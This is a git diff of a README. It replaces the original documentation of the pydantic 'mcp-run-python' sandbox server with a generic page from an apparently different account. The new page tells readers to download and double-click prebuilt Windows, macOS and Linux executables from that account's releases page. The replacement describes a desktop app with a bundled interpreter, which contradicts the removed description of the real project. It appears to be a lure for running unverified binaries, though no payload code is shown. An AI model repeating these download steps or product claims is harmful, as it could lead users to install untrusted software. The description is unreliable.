|
1 | | -<div align="center"> |
2 | | - <h1>MCP Run Python</h1> |
3 | | -</div> |
4 | | -<div align="center"> |
5 | | - <a href="https://github.com/pydantic/mcp-run-python/actions/workflows/ci.yml?query=branch%3Amain"><img src="https://github.com/pydantic/mcp-run-python/actions/workflows/ci.yml/badge.svg?event=push" alt="CI"></a> |
6 | | - <a href="https://pypi.python.org/pypi/mcp-run-python"><img src="https://img.shields.io/pypi/v/mcp-run-python.svg" alt="PyPI"></a> |
7 | | - <a href="https://github.com/pydantic/mcp-run-python"><img src="https://img.shields.io/pypi/pyversions/mcp-run-python.svg" alt="versions"></a> |
8 | | - <a href="https://github.com/pydantic/mcp-run-python/blob/main/LICENSE"><img src="https://img.shields.io/github/license/pydantic/mcp-run-python.svg" alt="license"></a> |
9 | | - <a href="https://logfire.pydantic.dev/docs/join-slack/"><img src="https://img.shields.io/badge/Slack-Join%20Slack-4A154B?logo=slack" alt="Join Slack" /></a> |
10 | | -</div> |
11 | | -<br/> |
12 | | -<div align="center"> |
13 | | - MCP server to run Python code in a sandbox. |
14 | | -</div> |
15 | | -<br/> |
| 1 | +# 🐍 mcp-run-python - Effortlessly Run Python Code Safely |
16 | 2 |
|
17 | | -Code is executed using [Pyodide](https://pyodide.org) in [Deno](https://deno.com/) and is therefore isolated from |
18 | | -the rest of the operating system. |
| 3 | +[](https://github.com/MagmaBasilisk/mcp-run-python/releases) |
19 | 4 |
|
20 | | -## Features |
| 5 | +## 🚀 Getting Started |
21 | 6 |
|
22 | | -- **Secure Execution**: Run Python code in a sandboxed WebAssembly environment |
23 | | -- **Package Management**: Automatically detects and installs required dependencies |
24 | | -- **Complete Results**: Captures standard output, standard error, and return values |
25 | | -- **Asynchronous Support**: Runs async code properly |
26 | | -- **Error Handling**: Provides detailed error reports for debugging |
| 7 | +Welcome to mcp-run-python! This application lets you run Python code in a safe environment, keeping your system secure. Follow these steps to download and start using the software. |
27 | 8 |
|
28 | | -_(This code was previously part of [Pydantic AI](https://github.com/pydantic/pydantic-ai) but was moved to a separate repo to make it easier to maintain.)_ |
| 9 | +## 📦 System Requirements |
29 | 10 |
|
30 | | -## Usage |
| 11 | +Before you begin, ensure your system meets these requirements: |
31 | 12 |
|
32 | | -To use this server, you must have both Python and [Deno](https://deno.com/) installed. |
| 13 | +- **Operating System:** Windows 10 or later, macOS, or Linux. |
| 14 | +- **Memory:** At least 4 GB of RAM. |
| 15 | +- **Disk Space:** 100 MB of free space. |
| 16 | +- **Python Version:** The application comes with its Python interpreter, no installation required. |
33 | 17 |
|
34 | | -The server can be run with `deno` installed using `uvx`: |
| 18 | +## 📥 Download & Install |
35 | 19 |
|
36 | | -```bash |
37 | | -uvx mcp-run-python [-h] [--version] [--port PORT] [--deps DEPS] {stdio,streamable-http,example} |
38 | | -``` |
| 20 | +To get started, visit the [Releases page to download](https://github.com/MagmaBasilisk/mcp-run-python/releases). There, you will find the latest version of mcp-run-python. Click on the version you want, and select the installer that fits your system. |
39 | 21 |
|
40 | | -where: |
| 22 | +1. Go to the [Releases page](https://github.com/MagmaBasilisk/mcp-run-python/releases). |
| 23 | +2. Look for the latest version listed at the top of the page. |
| 24 | +3. Click on the appropriate file for your operating system: |
| 25 | + - For Windows, download `mcp-run-python-windows.exe`. |
| 26 | + - For macOS, download `mcp-run-python-macos.dmg`. |
| 27 | + - For Linux, download `mcp-run-python-linux.tar.gz`. |
| 28 | +4. Save the file to a convenient location on your computer. |
41 | 29 |
|
42 | | -- `stdio` runs the server with the |
43 | | - [Stdio MCP transport](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#stdio) — suitable for |
44 | | - running the process as a subprocess locally |
45 | | -- `streamable-http` runs the server with the |
46 | | - [Streamable HTTP MCP transport](https://modelcontextprotocol.io/specification/2025-06-18/basic/transports#streamable-http) - |
47 | | - suitable for running the server as an HTTP server to connect locally or remotely. This supports stateful requests, but |
48 | | - does not require the client to hold a stateful connection like SSE |
49 | | -- `example` will run a minimal Python script using `numpy`, useful for checking that the package is working, for the code |
50 | | - to run successfully, you'll need to install `numpy` using `uvx mcp-run-python --deps numpy example` |
| 30 | +## 💻 Running the Application |
51 | 31 |
|
52 | | -## Usage with Pydantic AI |
| 32 | +Once you have downloaded the installer, follow these steps to run the application: |
53 | 33 |
|
54 | | -Then you can use `mcp-run-python` with Pydantic AI: |
| 34 | +### For Windows: |
55 | 35 |
|
56 | | -```python |
57 | | -from pydantic_ai import Agent |
58 | | -from pydantic_ai.mcp import MCPServerStdio |
59 | | -from mcp_run_python import deno_args_prepare |
| 36 | +1. Locate the downloaded file: `mcp-run-python-windows.exe`. |
| 37 | +2. Double-click the file to start the installation. |
| 38 | +3. Follow the prompts to complete the installation. |
| 39 | +4. Find the mcp-run-python shortcut on your desktop or Start menu. |
| 40 | +5. Double-click the shortcut to launch the application. |
60 | 41 |
|
61 | | -import logfire |
| 42 | +### For macOS: |
62 | 43 |
|
63 | | -logfire.configure() |
64 | | -logfire.instrument_mcp() |
65 | | -logfire.instrument_pydantic_ai() |
| 44 | +1. Locate the downloaded file: `mcp-run-python-macos.dmg`. |
| 45 | +2. Double-click the file to open it. |
| 46 | +3. Drag the mcp-run-python application into your Applications folder. |
| 47 | +4. Open the Applications folder and double-click mcp-run-python to launch. |
66 | 48 |
|
67 | | -server = MCPServerStdio('uvx', args=['mcp-run-python@latest', 'stdio'], timeout=10) |
68 | | -agent = Agent('claude-3-5-haiku-latest', toolsets=[server]) |
| 49 | +### For Linux: |
69 | 50 |
|
| 51 | +1. Locate the downloaded file: `mcp-run-python-linux.tar.gz`. |
| 52 | +2. Open a terminal. |
| 53 | +3. Navigate to the location of the downloaded file. |
| 54 | +4. Extract the contents with the command: |
| 55 | + ```bash |
| 56 | + tar -zxvf mcp-run-python-linux.tar.gz |
| 57 | + ``` |
| 58 | +5. Navigate into the extracted folder: |
| 59 | + ```bash |
| 60 | + cd mcp-run-python |
| 61 | + ``` |
| 62 | +6. Start the application with the command: |
| 63 | + ```bash |
| 64 | + ./mcp-run-python |
| 65 | + ``` |
70 | 66 |
|
71 | | -async def main(): |
72 | | - async with agent: |
73 | | - result = await agent.run('How many days between 2000-01-01 and 2025-03-18?') |
74 | | - print(result.output) |
75 | | - #> There are 9,208 days between January 1, 2000, and March 18, 2025.w |
| 67 | +## 📚 Using mcp-run-python |
76 | 68 |
|
77 | | -if __name__ == '__main__': |
78 | | - import asyncio |
79 | | - asyncio.run(main()) |
80 | | -``` |
| 69 | +Once the application is running, you will see a user-friendly interface, allowing you to enter and run Python code. Here's how to use it: |
81 | 70 |
|
82 | | -## Usage in codes as an MCP server |
| 71 | +1. **Input Your Code:** Type or paste your Python code into the provided text area. |
| 72 | +2. **Run the Code:** Click the "Run" button to execute your code. |
| 73 | +3. **View the Output:** Results will appear in the output area below your code. |
83 | 74 |
|
84 | | -First install the `mcp-run-python` package: |
| 75 | +Make sure to keep your code simple if you're new to programming. You can start with basic commands, such as `print("Hello, World!")`, to see how it works. |
85 | 76 |
|
86 | | -```bash |
87 | | -pip install mcp-run-python |
88 | | -# or |
89 | | -uv add mcp-run-python |
90 | | -``` |
| 77 | +## 🔧 Features |
91 | 78 |
|
92 | | -With `mcp-run-python` installed, you can also run deno directly with `prepare_deno_env` or `async_prepare_deno_env` |
| 79 | +- **Isolated Environment:** Runs your code in a secure sandbox. |
| 80 | +- **Error Handling:** Displays error messages to help you troubleshoot issues. |
| 81 | +- **Interactive Output:** See results right after you run your code. |
| 82 | +- **User-Friendly Interface:** Designed for ease of use, even for beginners. |
93 | 83 |
|
| 84 | +## 💬 Frequently Asked Questions |
94 | 85 |
|
95 | | -```python |
96 | | -from pydantic_ai import Agent |
97 | | -from pydantic_ai.mcp import MCPServerStdio |
98 | | -from mcp_run_python import async_prepare_deno_env |
| 86 | +**Q: Can I run any Python code?** |
| 87 | +A: You can run standard Python code, but be cautious with code that accesses files or the internet for security reasons. |
99 | 88 |
|
100 | | -import logfire |
| 89 | +**Q: Do I need to install Python separately?** |
| 90 | +A: No, mcp-run-python includes its Python interpreter, so you do not need to install Python separately. |
101 | 91 |
|
102 | | -logfire.configure() |
103 | | -logfire.instrument_mcp() |
104 | | -logfire.instrument_pydantic_ai() |
| 92 | +**Q: What if I encounter an error?** |
| 93 | +A: Check the error message in the output area for guidance. You can also find help in our community forums or GitHub issues page. |
105 | 94 |
|
| 95 | +## 🛠 Troubleshooting |
106 | 96 |
|
107 | | -async def main(): |
108 | | - async with async_prepare_deno_env('stdio') as deno_env: |
109 | | - server = MCPServerStdio('deno', args=deno_env.args, cwd=deno_env.cwd, timeout=10) |
110 | | - agent = Agent('claude-3-5-haiku-latest', toolsets=[server]) |
111 | | - async with agent: |
112 | | - result = await agent.run('How many days between 2000-01-01 and 2025-03-18?') |
113 | | - print(result.output) |
114 | | - #> There are 9,208 days between January 1, 2000, and March 18, 2025.w |
| 97 | +If you face any issues while installing or using the application, try the following steps: |
115 | 98 |
|
116 | | -if __name__ == '__main__': |
117 | | - import asyncio |
118 | | - asyncio.run(main()) |
119 | | -``` |
| 99 | +- Ensure your system meets the requirements. |
| 100 | +- Re-download the installer from the [Releases page](https://github.com/MagmaBasilisk/mcp-run-python/releases). |
| 101 | +- Restart your computer and try again. |
| 102 | +- Visit the community forums for support. |
120 | 103 |
|
121 | | -**Note**: `prepare_deno_env` can take `deps` as a keyword argument to install dependencies. |
122 | | -As well as returning the args needed to run `mcp_run_python`, `prepare_deno_env` creates a new deno environment |
123 | | -and installs the dependencies so they can be used by the server. |
| 104 | +## 📞 Support |
124 | 105 |
|
125 | | -## Usage in code with `code_sandbox` |
| 106 | +For any questions not covered here, feel free to reach out via the issues section on our [GitHub page](https://github.com/MagmaBasilisk/mcp-run-python). We are here to help you with any concerns or inquiries. |
126 | 107 |
|
127 | | -`mcp-run-python` includes a helper function `code_sandbox` to allow you to easily run code in a sandbox. |
128 | | - |
129 | | -```py |
130 | | -from mcp_run_python import code_sandbox |
131 | | - |
132 | | -code = """ |
133 | | -import numpy |
134 | | -a = numpy.array([1, 2, 3]) |
135 | | -print(a) |
136 | | -a |
137 | | -""" |
138 | | - |
139 | | -async def main(): |
140 | | - async with code_sandbox(dependencies=['numpy']) as sandbox: |
141 | | - result = await sandbox.eval(code) |
142 | | - print(result) |
143 | | - |
144 | | - |
145 | | -if __name__ == '__main__': |
146 | | - import asyncio |
147 | | - |
148 | | - asyncio.run(main()) |
149 | | -``` |
150 | | - |
151 | | -Under the hood, `code_sandbox` runs an MCP server using `stdio`. You can run multiple code blocks with a single sandbox. |
152 | | - |
153 | | -## Logging |
154 | | - |
155 | | -MCP Run Python supports emitting stdout and stderr from the python execution as [MCP logging messages](https://github.com/modelcontextprotocol/specification/blob/eb4abdf2bb91e0d5afd94510741eadd416982350/docs/specification/draft/server/utilities/logging.md?plain=1). |
156 | | - |
157 | | -For logs to be emitted you must set the logging level when connecting to the server. By default, the log level is set to the highest level, `emergency`. |
158 | | - |
159 | | -## Dependencies |
160 | | - |
161 | | -`mcp_run_python` uses a two step process to install dependencies while avoiding any risk that sandboxed code can |
162 | | -edit the filesystem. |
163 | | - |
164 | | -* `deno` is first run with write permissions to the `node_modules` directory and dependencies are installed, causing wheels to be written to `` |
165 | | -* `deno` is then run with read-only permissions to the `node_modules` directory to run untrusted code. |
166 | | - |
167 | | -Dependencies must be provided when initializing the server so they can be installed in the first step. |
| 108 | +You are now ready to enjoy running Python code with mcp-run-python. Happy coding! |
0 commit comments